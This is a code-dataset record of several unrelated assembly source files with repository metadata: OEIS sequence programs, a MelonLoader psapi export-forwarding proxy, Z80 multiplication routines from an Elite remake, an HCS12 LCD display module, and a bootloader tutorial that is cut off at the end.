2022-03-20T16:47:57.000Z
|
oeis/069/A069623.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/069/A069623.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A069623: Number of perfect powers <= n.
; Submitted by Jon Maiga
; 1,1,1,2,2,2,2,3,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,6,6,7,7,7,7,7,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,13
mov $2,$0
mov $4,$0
lpb $4
mov $0,$2
sub $4,1
sub $0,$4
seq $0,132350 ; If n > 1 is a k-th power with k >= 2 then a(n) = 0, otherwise a(n) = 1.
mov $1,14
gcd $1,$0
div $1,13
add $3,$1
lpe
mov $0,$3
add $0,1
| 28.684211
| 253
| 0.576147
|
4b31c8d23b49728dcab68f58d78cf09a9e0ba6c3
| 5,451
|
asm
|
Assembly
|
Proxy/Exports/psapi.asm
|
kozakura51/MelonLoader
|
618e5aab0ff07b1bdf52e7399094e847d035f2ad
|
[
"Apache-2.0"
] | 558
|
2020-08-30T19:31:18.000Z
|
2022-03-31T22:45:45.000Z
|
Proxy/Exports/psapi.asm
|
kozakura51/MelonLoader
|
618e5aab0ff07b1bdf52e7399094e847d035f2ad
|
[
"Apache-2.0"
] | 115
|
2020-11-19T10:59:11.000Z
|
2022-03-24T17:40:01.000Z
|
Proxy/Exports/psapi.asm
|
kozakura51/MelonLoader
|
618e5aab0ff07b1bdf52e7399094e847d035f2ad
|
[
"Apache-2.0"
] | 191
|
2021-01-07T13:44:36.000Z
|
2022-03-31T05:25:23.000Z
|
ifdef RAX
.code
extern OriginalFuncs_psapi:QWORD
EmptyWorkingSet proc
jmp QWORD ptr OriginalFuncs_psapi[0 * 8]
EmptyWorkingSet endp
EnumDeviceDrivers proc
jmp QWORD ptr OriginalFuncs_psapi[1 * 8]
EnumDeviceDrivers endp
EnumPageFilesA proc
jmp QWORD ptr OriginalFuncs_psapi[2 * 8]
EnumPageFilesA endp
EnumPageFilesW proc
jmp QWORD ptr OriginalFuncs_psapi[3 * 8]
EnumPageFilesW endp
EnumProcessModules proc
jmp QWORD ptr OriginalFuncs_psapi[4 * 8]
EnumProcessModules endp
EnumProcessModulesEx proc
jmp QWORD ptr OriginalFuncs_psapi[5 * 8]
EnumProcessModulesEx endp
EnumProcesses proc
jmp QWORD ptr OriginalFuncs_psapi[6 * 8]
EnumProcesses endp
GetDeviceDriverBaseNameA proc
jmp QWORD ptr OriginalFuncs_psapi[7 * 8]
GetDeviceDriverBaseNameA endp
GetDeviceDriverBaseNameW proc
jmp QWORD ptr OriginalFuncs_psapi[8 * 8]
GetDeviceDriverBaseNameW endp
GetDeviceDriverFileNameA proc
jmp QWORD ptr OriginalFuncs_psapi[9 * 8]
GetDeviceDriverFileNameA endp
GetDeviceDriverFileNameW proc
jmp QWORD ptr OriginalFuncs_psapi[10 * 8]
GetDeviceDriverFileNameW endp
GetMappedFileNameA proc
jmp QWORD ptr OriginalFuncs_psapi[11 * 8]
GetMappedFileNameA endp
GetMappedFileNameW proc
jmp QWORD ptr OriginalFuncs_psapi[12 * 8]
GetMappedFileNameW endp
GetModuleBaseNameA proc
jmp QWORD ptr OriginalFuncs_psapi[13 * 8]
GetModuleBaseNameA endp
GetModuleBaseNameW proc
jmp QWORD ptr OriginalFuncs_psapi[14 * 8]
GetModuleBaseNameW endp
GetModuleFileNameExA proc
jmp QWORD ptr OriginalFuncs_psapi[15 * 8]
GetModuleFileNameExA endp
GetModuleFileNameExW proc
jmp QWORD ptr OriginalFuncs_psapi[16 * 8]
GetModuleFileNameExW endp
GetModuleInformation proc
jmp QWORD ptr OriginalFuncs_psapi[17 * 8]
GetModuleInformation endp
GetPerformanceInfo proc
jmp QWORD ptr OriginalFuncs_psapi[18 * 8]
GetPerformanceInfo endp
GetProcessImageFileNameA proc
jmp QWORD ptr OriginalFuncs_psapi[19 * 8]
GetProcessImageFileNameA endp
GetProcessImageFileNameW proc
jmp QWORD ptr OriginalFuncs_psapi[20 * 8]
GetProcessImageFileNameW endp
GetProcessMemoryInfo proc
jmp QWORD ptr OriginalFuncs_psapi[21 * 8]
GetProcessMemoryInfo endp
GetWsChanges proc
jmp QWORD ptr OriginalFuncs_psapi[22 * 8]
GetWsChanges endp
GetWsChangesEx proc
jmp QWORD ptr OriginalFuncs_psapi[23 * 8]
GetWsChangesEx endp
InitializeProcessForWsWatch proc
jmp QWORD ptr OriginalFuncs_psapi[24 * 8]
InitializeProcessForWsWatch endp
QueryWorkingSet proc
jmp QWORD ptr OriginalFuncs_psapi[25 * 8]
QueryWorkingSet endp
QueryWorkingSetEx proc
jmp QWORD ptr OriginalFuncs_psapi[26 * 8]
QueryWorkingSetEx endp
else
.model flat, C
.stack 4096
.code
extern OriginalFuncs_psapi:DWORD
EmptyWorkingSet proc
jmp DWORD ptr OriginalFuncs_psapi[0 * 4]
EmptyWorkingSet endp
EnumDeviceDrivers proc
jmp DWORD ptr OriginalFuncs_psapi[1 * 4]
EnumDeviceDrivers endp
EnumPageFilesA proc
jmp DWORD ptr OriginalFuncs_psapi[2 * 4]
EnumPageFilesA endp
EnumPageFilesW proc
jmp DWORD ptr OriginalFuncs_psapi[3 * 4]
EnumPageFilesW endp
EnumProcessModules proc
jmp DWORD ptr OriginalFuncs_psapi[4 * 4]
EnumProcessModules endp
EnumProcessModulesEx proc
jmp DWORD ptr OriginalFuncs_psapi[5 * 4]
EnumProcessModulesEx endp
EnumProcesses proc
jmp DWORD ptr OriginalFuncs_psapi[6 * 4]
EnumProcesses endp
GetDeviceDriverBaseNameA proc
jmp DWORD ptr OriginalFuncs_psapi[7 * 4]
GetDeviceDriverBaseNameA endp
GetDeviceDriverBaseNameW proc
jmp DWORD ptr OriginalFuncs_psapi[8 * 4]
GetDeviceDriverBaseNameW endp
GetDeviceDriverFileNameA proc
jmp DWORD ptr OriginalFuncs_psapi[9 * 4]
GetDeviceDriverFileNameA endp
GetDeviceDriverFileNameW proc
jmp DWORD ptr OriginalFuncs_psapi[10 * 4]
GetDeviceDriverFileNameW endp
GetMappedFileNameA proc
jmp DWORD ptr OriginalFuncs_psapi[11 * 4]
GetMappedFileNameA endp
GetMappedFileNameW proc
jmp DWORD ptr OriginalFuncs_psapi[12 * 4]
GetMappedFileNameW endp
GetModuleBaseNameA proc
jmp DWORD ptr OriginalFuncs_psapi[13 * 4]
GetModuleBaseNameA endp
GetModuleBaseNameW proc
jmp DWORD ptr OriginalFuncs_psapi[14 * 4]
GetModuleBaseNameW endp
GetModuleFileNameExA proc
jmp DWORD ptr OriginalFuncs_psapi[15 * 4]
GetModuleFileNameExA endp
GetModuleFileNameExW proc
jmp DWORD ptr OriginalFuncs_psapi[16 * 4]
GetModuleFileNameExW endp
GetModuleInformation proc
jmp DWORD ptr OriginalFuncs_psapi[17 * 4]
GetModuleInformation endp
GetPerformanceInfo proc
jmp DWORD ptr OriginalFuncs_psapi[18 * 4]
GetPerformanceInfo endp
GetProcessImageFileNameA proc
jmp DWORD ptr OriginalFuncs_psapi[19 * 4]
GetProcessImageFileNameA endp
GetProcessImageFileNameW proc
jmp DWORD ptr OriginalFuncs_psapi[20 * 4]
GetProcessImageFileNameW endp
GetProcessMemoryInfo proc
jmp DWORD ptr OriginalFuncs_psapi[21 * 4]
GetProcessMemoryInfo endp
GetWsChanges proc
jmp DWORD ptr OriginalFuncs_psapi[22 * 4]
GetWsChanges endp
GetWsChangesEx proc
jmp DWORD ptr OriginalFuncs_psapi[23 * 4]
GetWsChangesEx endp
InitializeProcessForWsWatch proc
jmp DWORD ptr OriginalFuncs_psapi[24 * 4]
InitializeProcessForWsWatch endp
QueryWorkingSet proc
jmp DWORD ptr OriginalFuncs_psapi[25 * 4]
QueryWorkingSet endp
QueryWorkingSetEx proc
jmp DWORD ptr OriginalFuncs_psapi[26 * 4]
QueryWorkingSetEx endp
endif
end
| 31.69186
| 44
| 0.796368
|
205a762c5bfc78cba2ee8bebf12df224e03a0d08
| 19,407
|
asm
|
Assembly
|
Maths/multiply.asm
|
TinfoilAsteroid/EliteNext
|
417511cefd3d5c7dd7a46b0354eec801ea2c9ca2
|
[
"Unlicense"
] | 9
|
2021-09-29T22:08:15.000Z
|
2022-03-23T05:35:43.000Z
|
Maths/multiply.asm
|
TinfoilAsteroid/EliteNext
|
417511cefd3d5c7dd7a46b0354eec801ea2c9ca2
|
[
"Unlicense"
] | 1
|
2022-01-21T12:35:42.000Z
|
2022-01-21T17:47:24.000Z
|
Maths/multiply.asm
|
TinfoilAsteroid/EliteNext
|
417511cefd3d5c7dd7a46b0354eec801ea2c9ca2
|
[
"Unlicense"
] | 1
|
2022-01-15T10:13:49.000Z
|
2022-01-15T10:13:49.000Z
|
HLequSRmulQdiv256: ;X.Y=x1lo.S*M/256 \ where M/256 is gradient
ld hl,(varRS)
ld a,(varQ)
HLeqyHLmulAdiv256: push bc,,de
ld de,0 ; de = XY
ld b,a ; b = Q
ShiftHLRight1
sla b
jr nc,.LL126
.LL125: ex de,hl
add hl,de
ex de,hl ; de = de + rs
.LL126: ShiftHLRight1
sla b
jr c,.LL125
jr nz,.LL126
ex de,hl ; hl = result
pop bc,,de
ret
MacroDEEquQmulASigned: MACRO
ld d,a ; save a into d
ld a,(varQ)
ld e,a
xor d ; a = a xor var Q
and SignOnly8Bit
ld b,a ; b = sign of a xor q
ld a,d ; d = abs d (or a reg)
and SignMask8Bit
ld d,a
ld a,e ; e = abs e (or varQ)
and SignMask8Bit
ld e,a
mul ; de = a * Q
ld a,d
or b ; de = a * Q leading sign bit
ld d,a
ENDM
; .MAD \ -> &22AD \ Multiply and Add (DE also) X.A(Lo.Hi) = Q*A + R.S (Lo.Hi)
madXAequQmulAaddRS: MacroDEEquQmulASigned
madDEaddRS: ld hl,(varR)
call madXAAddHLDESigned
ex de,hl ; de = R.S + DE
ClearCarryFlag
ld ixl,e
ld a,d
ret
madXAAddHLDESigned: ld a,h
and SignOnly8Bit
ld b,a ;save sign bit in b
xor d ;if h sign and d sign were different then bit 7 of a will be 1 which means
JumpIfNegative .ADDHLDEOppSGN ;Signs are opposite there fore we can subtract to get difference
.ADDHLDESameSigns: ld a,b
or d
JumpIfNegative .ADDHLDESameNeg ; optimisation so we can just do simple add if both positive
add hl,de
ret
.ADDHLDESameNeg: ld a,h ; so if we enter here then signs are the same so we clear the 16th bit
and SignMask8Bit ; we could check the value of b for optimisation
ld h,a
ld a,d
and SignMask8Bit
ld d,a
add hl,de
ld a,SignOnly8Bit
or h ; now set bit for negative value, we won't bother with overflow for now TODO
ld h,a
ret
.ADDHLDEOppSGN: ld a,h ; so if we enter here then signs are the same so we clear the 16th bit ; here HL and DE are opposite
and SignMask8Bit ; we could check the value of b for optimisation
ld h,a
ld a,d
and SignMask8Bit
ld d,a
or a
sbc hl,de
jr c,.ADDHLDEOppInvert
.ADDHLDEOppSGNNoCarry: ld a,b ; we got here so hl > de therefore we can just take hl's previous sign bit
or h
ld h,a ; set the previou sign value
ret
.ADDHLDEOppInvert: NegHL ; we need to flip the sign and 2'c the Hl result
ld a,b
xor SignOnly8Bit ; flip sign bit
or h
ld h,a ; recover sign
ret
; multiplication of 16-bit number and 8-bit number into a 24-bit product
;
; enter : hl = 16-bit multiplier = x
; e = 8-bit multiplicand = y
;
; exit : ahl = 24-bit product
; carry reset
;
; uses : af, de, hl
AHLequHLmulE: ld d,h ; xh
ld h,e ; yl
mul de ; xh*yl
ex de,hl
mul de ; yl*xl, hl = xh*yl
ld a,d ; sum products
add a,l
ld d,a
ex de,hl
ld a,d
adc a,0
ret
; multiplication of two 16-bit numbers into a 32-bit product
;
; enter : de = 16-bit multiplicand = y
; hl = 16-bit multiplicand = x
;
; exit : dehl = 32-bit product
; carry reset
;
; uses : af, bc, de, hl
DEHLequDEmulHL: ld b,l ; x0
ld c,e ; y0
ld e,l ; x0
ld l,d
push hl ; x1 y1
ld l,c ; y0
; bc = x0 y0, de = y1 x0, hl = x1 y0, stack = x1 y1
mul de ; y1*x0
ex de,hl
mul de ; x1*y0
xor a ; zero A
add hl,de ; sum cross products p2 p1
adc a,a ; capture carry p3
ld e,c ; x0
ld d,b ; y0
mul de ; y0*x0
ld b,a ; carry from cross products
ld c,h ; LSB of MSW from cross products
ld a,d
add a,l
ld h,a
ld l,e ; LSW in HL p1 p0
pop de
mul de ; x1*y1
ex de,hl
adc hl,bc
ex de,hl ; de = final MSW
ret
; multiplication of two 16-bit numbers into a 16-bit product
; enter : de = 16-bit multiplicand
; hl = 16-bit multiplicand
; exit : hl = 16-bit product
; carry reset
; maths is
; hl = y , de= x
; hl = xhi,ylo + (yhigh * xlow)
; hl = yhih & xlo + x
;
;
; uses : af, bc, de, hl
mulDEbyHL: push bc
ld a,d ; a = xh
ld d,h ; d = yh
ld h,a ; h = xh
ld c,e ; c = xl
ld b,l ; b = yl
mul ; yh * yl
ex de,hl
mul ; xh * yl
add hl,de ; add cross products
ld e,c
ld d,b
mul ; yl * xl
ld a,l ; cross products lsb
add a,d ; add to msb final
ld h,a
ld l,e ; hl = final
; 83 cycles, 19 bytes
xor a ; reset carry
pop bc
ret
; CHL = multiplicand D = multiplier
; DCHL = CHL * D
mulCHLbyDSigned: ld a,d ; get sign from d
xor h ; xor with h to get resultant sign
and SignOnly8Bit ; .
ld iyh,a ; iyh = copy of sign
ld a,c ; now CHL = ABS (CHL)
and SignMask8Bit ; .
ld c,a ; .
ld a,d ; d = ABS D
and SignMask8Bit ; .
; At this point CHL = ABS (HLE), A = ABS(D)
.mul1: ld d,a ; first do D * L
ld e,l ; .
mul de ; DE = L * D
ex af,af' ; save multiplier
ld l,e ; L = p0
ld a,d ; carry byte
ex af,af' ; retrieve muliplier and save carry byte along with flags
.mul2: ld e,h ; byte 2 of multiplicand
ld d,a ; and multiplier
mul de ; now its D & L
ex af,af' ; get back carry byte with flags
.carrybyte1: add a,e ; add low byte carry to result and retain carry too through next instructions
ld h,a ; h = P1
ld a,d ; a = carry byte
ex af,af' ; save carry byte and get back multiplier with flags
.mul3: ld e,c ; byte 3 of multiplicand
ld d,a ;
mul de ;
ex af,af' ; get back carry byte and carry prior to first add
adc a,e ;
or iyh ; recover saved resultant sign
ld c,a ; c byte 3. Note the value range allowed can never cause a byte 3 carry
ret
; CHL = 53456 D = 1E
; 56 * 1E = A14 L = 14 carry = 0A
; 34 * 1E = 618 H = 18 +A = 22 carry = 6
; 5 * 1E = 096 C = 96 + 6 = 9C
; CHL = 9C2214
;mult3
; DELC = HLE * D, uses HL, DE, C , A , IYH
; HLE = multiplicand D = multiplier
; tested by mathstestsun.asm all passed
; Algorithm
; AC = E * D (save carry) H L E
; DE = L * D D
; L = A + E + carry E*D (lo)
; DE = H * D L*D+ ^ (hi)
; E = A + E + carry H*D (lo) + carry
;
;
mulHLEbyDSigned: ld a,d ; get sign from d
xor h ; xor with h to get resultant sign
and SignOnly8Bit ; .
ld iyh,a ; iyh = copy of sign
ld a,h ; now HLE = ABS (HLE)
and SignMask8Bit ; .
ld h,a ; .
ld a,d ; d = ABS D
and SignMask8Bit ; .
ld d,a ; .
.testEitherSideZero: or a
jr z,.ResultZero
ld a,h
or l
or e
jr z,.ResultZero
; At this point HLE = ABS (HLE), A = ABS(D)
ld b,d ; save Quotient
.mul1: mul de ; C = E * D
ld c,e ; C = p0
ld iyl,d ; save carry (p1)
.mul2: ld e,l ; L = L * D
ld d,b ; .
mul de ; .
ld a,iyl ; get back p1
.carrybyte1: add a,e ; L = L + E
ld l,a ; .
ld iyl,d ; save new carry byte
.mul3: ld e,h ; E = H * D
ld d,b ; .
mul de ; .
ld a,iyl
adc a,e ; .
ld e,a ; .
.ItsNotZero: ld a,d ;
adc a,0 ; final carry bit
or iyh ; bring back sign
ld d,a ; s = sign
ret
.ResultZero: ld de,0
ZeroA
ld c,a
ld l,a
ret
;;;
;;;
;;;mulHLEbyDSigned: ld a,d ; get sign from d
;;; xor h ; xor with h to get resultant sign
;;; and SignOnly8Bit ; .
;;; ld iyh,a ; iyh = copy of sign
;;; ld a,h ; now HLE = ABS (HLE)
;;; and SignMask8Bit ; .
;;; ld h,a ; .
;;; ld a,d ; d = ABS D
;;; and SignMask8Bit ; .
;;; ld d,a ; .
;;;.testEitherSideZero: or a
;;; jr z,.ResultZero
;;; ld a,h
;;; or l
;;; or e
;;; jr z,.ResultZero
;;;; At this point HLE = ABS (HLE), A = ABS(D)
;;;.mul1: mul de ; C = E * D
;;; ex af,af' ; save mulitplier
;;; ld c,e ; C = p0
;;; ld a,d ; save carry (p1)
;;; ex af,af' ; .
;;;.mul2: ld e,l ; L = L * D
;;; ld d,a ; .
;;; mul de ; .
;;; ex af,af' ; .
;;;.carrybyte1: add a,e ; L = L + E
;;; ld l,a ; .
;;; ld a,d
;;; ex af,af' ; save new carry byte
;;;.mul3: ld e,h ; E = H * D
;;; ld d,a ; .
;;; mul de ; .
;;; ex af,af' ; .
;;; adc a,e ; .
;;; ld e,a ; .
;;;.ItsNotZero: ld a,d ;
;;; adc a,0 ; final carry bit
;;; or iyh ; bring back sign
;;; ld d,a ; s = sign
;;; ret
;;;.ResultZero: ld de,0
;;; ZeroA
;;; ld c,a
;;; ld l,a
;;; ret
; multiplication of two S156-bit numbers into a 16-bit 2'd compliment product
; enter : de = 16-bit multiplicand
; hl = 16-bit multiplicand
; exit : hl = 16-bit product
; carry reset
;
; uses : af, bc, de, hl
mulDEbyHLSignByte DB 0
mulDEbyHLSgnTo2c: xor a
ld (mulDEbyHLSignByte),a
.SignDE: ld a,d
test $80
jr z,.SignHL
.NegativeDE: and $7F
ld d,a
ld a,$80
ld (mulDEbyHLSignByte),a
.SignHL: ld a,h
test $80
jr z,.AbsoluteMultiply
.NegativeHL: and $7F
ld h,a
ld a,(mulDEbyHLSignByte)
xor $80
ld (mulDEbyHLSignByte),a
.AbsoluteMultiply: call mulDEbyHL
.RecoverSign: ld a,(mulDEbyHLSignByte)
test $80
ret z
.Negateghl: xor a
sub l
ld l,a
sbc a,a
sub h
ld h,a
ret
mulDESgnbyHLUnsgnTo2c: xor a
ld (mulDEbyHLSignByte),a
.SignDE: ld a,d
test $80
jr z,.AbsoluteMultiply
.NegativeDE: and $7F
ld d,a
ld a,$80
ld (mulDEbyHLSignByte),a
.AbsoluteMultiply: call mulDEbyHL
.RecoverSign: ld a,(mulDEbyHLSignByte)
test $80
ret z
.Negateghl: xor a
sub l
ld l,a
sbc a,a
sub h
ld h,a
ret
| 47.334146
| 182
| 0.271706
|
9f38b978624730cf2dfb3a59e8f3097ecf095ed2
| 648
|
asm
|
Assembly
|
oeis/087/A087464.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/087/A087464.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/087/A087464.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A087464: Generalized multiplicative Jacobsthal sequence.
; Submitted by Jon Maiga
; 0,0,2,0,6,10,0,42,86,0,342,682,0,2730,5462,0,21846,43690,0,174762,349526,0,1398102,2796202,0,11184810,22369622,0,89478486,178956970,0,715827882,1431655766,0,5726623062,11453246122,0,45812984490,91625968982,0,366503875926,733007751850,0,2932031007402,5864062014806,0,23456248059222,46912496118442,0,187649984473770,375299968947542,0,1501199875790166,3002399751580330,0,12009599006321322,24019198012642646,0,96076792050570582,192153584101141162,0,768614336404564650,1537228672809129302,0
dif $0,-3
sub $0,1
mov $1,2
pow $1,$0
add $1,1
div $1,3
mov $0,$1
mul $0,2
| 49.846154
| 487
| 0.819444
|
7a5a2d83c936a2c8ead72b81880d9d6a183f6e5f
| 2,511
|
asm
|
Assembly
|
Sources/lcd_module/Name_LCD_Module.asm
|
billhhh/hcs12_relocatable_asm
|
e0ec9f5d215af8b057036eef3948b1f4fda9f13a
|
[
"MIT"
] | null | null | null |
Sources/lcd_module/Name_LCD_Module.asm
|
billhhh/hcs12_relocatable_asm
|
e0ec9f5d215af8b057036eef3948b1f4fda9f13a
|
[
"MIT"
] | null | null | null |
Sources/lcd_module/Name_LCD_Module.asm
|
billhhh/hcs12_relocatable_asm
|
e0ec9f5d215af8b057036eef3948b1f4fda9f13a
|
[
"MIT"
] | null | null | null |
;Author: Bill Wang
;Date: 11/20/2016/
;Module file
INCLUDE 'mc9s12dp256.inc'
XDEF DELAY
XDEF DISPLAY
XREF DATWRT4
XREF COMWRT4
R1 EQU $1001
R2 EQU $1002
R3 EQU $1003
R4 EQU $1004
NAME DC.B " HU WANG BILL ",0
DELAY:
PSHA ;Save Reg A on Stack
LDAA #1
STAA R3
;-- 1 msec delay. The Serial Monitor works at speed of 48MHz with XTAL=8MHz on Dragon12+ board
;Freq. for Instruction Clock Cycle is 24MHz (1/2 of 48Mhz).
;(1/24MHz) x 10 Clk x240x100=1 msec. Overheads are excluded in this calculation.
L3 LDAA #100
STAA R2
L2 LDAA #240
STAA R1
L1 NOP ;1 Intruction Clk Cycle
NOP ;1
NOP ;1
DEC R1 ;4
BNE L1 ;3
DEC R2 ;Total Instr.Clk=10
BNE L2
DEC R3
BNE L3
;--------------
PULA ;Restore Reg A
RTS
;-------------------
DELAY75: ;delay for 75 75 milliseconds
PSHA ;Save Reg A on Stack
LDAA #75
STAA R3
;-- 1 msec delay. The Serial Monitor works at speed of 48MHz with XTAL=8MHz on Dragon12+ board
;Freq. for Instruction Clock Cycle is 24MHz (1/2 of 48Mhz).
;(1/24MHz) x 10 Clk x240x100=1 msec. Overheads are excluded in this calculation.
LL3 LDAA #100
STAA R2
LL2 LDAA #240
STAA R1
LL1 NOP ;1 Intruction Clk Cycle
NOP ;1
NOP ;1
DEC R1 ;4
BNE LL1 ;3
DEC R2 ;Total Instr.Clk=10
BNE LL2
DEC R3
BNE LL3
;--------------
PULA ;Restore Reg A
RTS
;-------------------
DISPLAY:
LDX #NAME ;init
LDAB #1
LOOP LDAA B,X
BEQ REMAIN
JSR DATWRT4
JSR DELAY
INX
BRA LOOP
;display remaining string
REMAIN DECB
BNE OVER ;b!=0,jump
LDAB #16 ;reset B
OVER
;---------------------------
STAB R4
LDX #NAME
LOOP2 LDAA 0,X
JSR DATWRT4
JSR DELAY
INX
DEC R4
BNE LOOP2
;---------------------------
;clear lcd
LDAA #$80
JSR COMWRT4
JSR DELAY
LDX #NAME
JSR DELAY75
BRA LOOP
RTS
END
| 22.827273
| 94
| 0.444843
|
96eb1fd2a351e84034d7394bb38a221ef6044538
| 1,681
|
asm
|
Assembly
|
programs/oeis/165/A165870.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/165/A165870.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/165/A165870.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A165870: Totally multiplicative sequence with a(p) = 49.
; 1,49,49,2401,49,2401,49,117649,2401,2401,49,117649,49,2401,2401,5764801,49,117649,49,117649,2401,2401,49,5764801,2401,2401,117649,117649,49,117649,49,282475249,2401,2401,2401,5764801,49,2401,2401,5764801,49,117649,49,117649,117649,2401,49,282475249,2401,117649,2401,117649,49,5764801,2401,5764801,2401,2401,49,5764801,49,2401,117649,13841287201,2401,117649,49,117649,2401,117649,49,282475249,49,2401,117649,117649,2401,117649,49,282475249,5764801,2401,49,5764801,2401,2401,2401,5764801,49,5764801,2401,117649,2401,2401,2401,13841287201,49,117649,117649,5764801,49,117649,49,5764801,117649,2401,49,282475249,49,117649,2401,282475249,49,117649,2401,117649,117649,2401,2401,282475249,2401,2401,2401,117649,117649,5764801,49,678223072849,2401,117649,49,5764801,2401,2401,5764801,5764801,49,117649,49,5764801,2401,2401,2401,13841287201,2401,2401,117649,117649,49,5764801,49,5764801,117649,117649,2401,5764801,49,2401,2401,13841287201,2401,282475249,49,117649,117649,2401,49,282475249,2401,117649,117649,117649,49,117649,117649,282475249,2401,2401,49,282475249,49,117649,2401,5764801,2401,117649,2401,117649,5764801,117649,49,678223072849,49,2401,117649,5764801,49,5764801,49,282475249,2401,2401,2401,5764801,2401,2401,117649,282475249,2401,5764801,49,117649,2401,2401,2401,13841287201,2401,2401,2401,5764801,2401,117649,49,13841287201,5764801,2401,49,5764801,49,117649,117649,5764801,49,5764801,2401,117649,2401,117649,49,13841287201,49,117649,282475249,117649,117649,117649,2401,5764801,2401,5764801
cal $0,165828 ; Totally multiplicative sequence with a(p) = 7.
pow $0,2
mul $0,35
mov $1,$0
div $1,1680
mul $1,48
add $1,1
| 152.818182
| 1,497
| 0.815586
|
a8c477bdf9503a8c9ce77b9910ee379085de071d
| 760
|
asm
|
Assembly
|
oeis/098/A098588.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/098/A098588.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/098/A098588.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A098588: a(n) = 2^n for n = 0..4; for n > 4, a(n) = 2*a(n-1) + a(n-5).
; Submitted by Simon Strandgaard
; 1,2,4,8,16,33,68,140,288,592,1217,2502,5144,10576,21744,44705,91912,188968,388512,798768,1642241,3376394,6941756,14272024,29342816,60327873,124032140,255006036,524284096,1077911008,2216149889,4556331918,9367669872,19259623840,39597158688,81410467265,167377266448,344122202768,707504029376,1454605217440,2990620902145,6148619070738,12641360344244,25990224717864,53435054653168,109860730208481,225870079487700,464381519319644,954753263357152,1962941581367472,4035743892943425,8297357865374550
add $0,2
lpb $0
sub $0,1
add $1,$5
add $1,1
sub $4,$5
mul $4,$2
sub $3,$4
mov $4,$2
add $2,$1
div $3,$2
mov $1,$3
add $5,$4
lpe
mov $0,$4
| 38
| 492
| 0.748684
|
be93b23baac3f580146bc298eb67af097e82aea7
| 277
|
asm
|
Assembly
|
test/assembly/src/override_asm.asm
|
chlorm-forks/gyp
|
a8921fcaab1a18c8cf7e4ab09ceb940e336918ec
|
[
"BSD-3-Clause"
] | 2,151
|
2020-04-18T07:31:17.000Z
|
2022-03-31T08:39:18.000Z
|
test/assembly/src/override_asm.asm
|
chlorm-forks/gyp
|
a8921fcaab1a18c8cf7e4ab09ceb940e336918ec
|
[
"BSD-3-Clause"
] | 1,432
|
2017-06-21T04:08:48.000Z
|
2020-08-25T16:21:15.000Z
|
test/assembly/src/override_asm.asm
|
chlorm-forks/gyp
|
a8921fcaab1a18c8cf7e4ab09ceb940e336918ec
|
[
"BSD-3-Clause"
] | 338
|
2020-04-18T08:03:10.000Z
|
2022-03-29T12:33:22.000Z
|
; Copyright (c) 2012 Google Inc. All rights reserved.
; Use of this source code is governed by a BSD-style license that can be
; found in the LICENSE file.
; This is a placeholder. It should not be referenced if overrides work
; correctly.
Bad stuff that shouldn't assemble.
| 30.777778
| 72
| 0.758123
|
ce20a5d64c1ef393c3ab374b54bef6e920618c2f
| 1,341
|
asm
|
Assembly
|
Demo1/Stage2/stage2.asm
|
mooseman/plan_42
|
0b726f06088c6940aa7050b5cef9f93a3cdcc788
|
[
"Unlicense"
] | 7
|
2015-02-18T13:45:06.000Z
|
2019-01-24T21:49:18.000Z
|
Demo1/Stage2/stage2.asm
|
mooseman/plan_42
|
0b726f06088c6940aa7050b5cef9f93a3cdcc788
|
[
"Unlicense"
] | null | null | null |
Demo1/Stage2/stage2.asm
|
mooseman/plan_42
|
0b726f06088c6940aa7050b5cef9f93a3cdcc788
|
[
"Unlicense"
] | 2
|
2017-04-21T09:38:50.000Z
|
2020-05-26T22:13:58.000Z
|
;*********************************************
; Stage2.asm
; - Second Stage Bootloader
;
; Operating Systems Development Series
;*********************************************
org 0x0 ; offset to 0, we will set segments later
bits 16 ; we are still in real mode
; we are loaded at linear address 0x10000
jmp main ; jump to main
;*************************************************;
; Prints a string
; DS=>SI: 0 terminated string
;************************************************;
Print:
lodsb ; load next byte from string from SI to AL
or al, al ; Does AL=0?
jz PrintDone ; Yep, null terminator found-bail out
mov ah, 0eh ; Nope-Print the character
int 10h
jmp Print ; Repeat until null terminator found
PrintDone:
ret ; we are done, so return
;*************************************************;
; Second Stage Loader Entry Point
;************************************************;
main:
cli ; clear interrupts
push cs ; Insure DS=CS
pop ds
mov si, Msg
call Print
cli ; clear interrupts to prevent triple faults
hlt ; hault the syst
